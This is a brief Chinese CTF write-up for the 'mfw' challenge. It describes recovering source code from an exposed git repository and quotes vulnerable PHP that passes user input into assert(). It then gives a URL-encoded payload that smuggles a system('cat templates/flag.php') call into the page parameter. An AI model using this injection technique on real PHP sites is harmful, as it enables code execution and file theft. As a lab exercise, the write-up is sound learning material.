ctf

1.mfw(git+assert+strops)

ctf_第1张图片

页面中的所有连接都是通过控制page变量实现的。

about里的git库,因此可以通过githack将源码下载出来。

ctf_第2张图片

在index.php中存在这样一段源码。

php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

assert():

assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;

$hsy=123;

assert("is_int($hsy)");

?>  //返回true

$file="templates/" .$page. ".php"

这里的file参数与我们输入的page有关,构造 about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag')

payload:url?page=%20about.php%27%2C%20%27123%27%29%20%3D%3D%3D%20false%20and%20system%28%27cat%20templates%2fflag.php%27%29%20and%20strpos%28%27templates%2fflag%27%29

 2.Cat

转载于:https://www.cnblogs.com/sylover/p/11218590.html

你可能感兴趣的:(ctf)